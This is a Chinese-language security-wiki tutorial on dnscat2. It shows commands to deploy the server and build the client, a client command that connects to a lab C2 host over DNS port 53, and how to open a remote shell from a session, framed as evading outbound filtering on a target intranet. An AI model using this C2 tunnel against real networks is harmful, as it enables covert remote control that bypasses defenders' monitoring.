menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 001-内网穿透工具 chevron_right 004-Dnscat2.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    004-Dnscat2.md
    2.13 KB / 2021-07-17 00:01:38
        # Dnscat2
    
    内网出口一般对出站流量做了严格限制,但是通常不会限制 DNS 请求,也就是 UDP 53 请求。dnscat2是一款利用 DNS 协议创建加密 C2 隧道来控制服务器的工具。dnscat2 由客户端和服务端两部分组成。
    
    #### 初始化dnscat2服务端
    
    ```
    Server部署
    git clone https://github.com/iagox86/dnscat2.git
    apt-get install ruby-dev 
    cd dnscat2/server/ 
    gem install bundler 
    bundle install 
    ruby ./dnscat2.rb  # 启动服务端
    
    ```
    
    ![1.png](images/73b21ef20fe64d258b41413c339f0c3e.png)
    
    #### 编译客户端
    
    ```
    Client部署
    git clone https://github.com/iagox86/dnscat2.git
    cd dnscat2/client/
    make (如果你在 windows 环境下编译,需要将client/win32/dnscat2.vcproj 加载到 Visual Studio 并点击 “build” )
    
    ```
    
    ![2.png](images/d26556c78dbd49f68e599b7bd0ba508e.png)
    
    如果目标内网放行了所有的 DNS 请求,那么就可以直接指定 HOST ,通过 UDP53 端口通信,而如果目标内网只允许和受信任的 DNS 服务器通信时就需要申请注意域名,并将运行 dnscat2 server 的服务器指定 Authoritative DNS 服务器。
    
    注意:Dnscat2 默认是加密的,服务端可以通过–security=open关闭加密,可以提高传输的稳定性。
    
    刚刚在启动服务端的时候默认是加密的,需要记下secret待客户端使用
    
    ![3.png](images/1c1594a2cf5249c68ff2bf42de8cdafd.png)
    
    Client运行以下命令发现session建立成功
    
    ```
    ./dnscat --dns server=192.168.137.129,port=53 --secret=ca7670fc9b8f016b3ccb5749d11eed62
    
    ```
    
    ![4.png](images/f860b8a855e644d691b7ce899750ebdd.png)
    
    #### dnscat2指令
    
    返回服务端查看会话,可以通过help查看支持的命令
    
    ![5.png](images/13b37197970f49f48b71e9986c2e499f.png)
    
    你可以通过sessions或windows查看当前会话,用`session(window) -i 1`进入名为1的会话,用help查看支持的命令
    
    ![6.png](images/117ce792d26b48ce92c54da19cf59559.png)
    
    如果想返回shell,直接在session 1输入shell创建新的会话,通过ctrl+z返回上一层,选择新的session即可
    
    ![7.png](images/cd33aaf6f4064d80af8706f6452d12f3.png)
    
    ![8.png](images/aa2d0a23d83c4f29a55b077d47a8b222.png)
    
    
    
    links
    file_download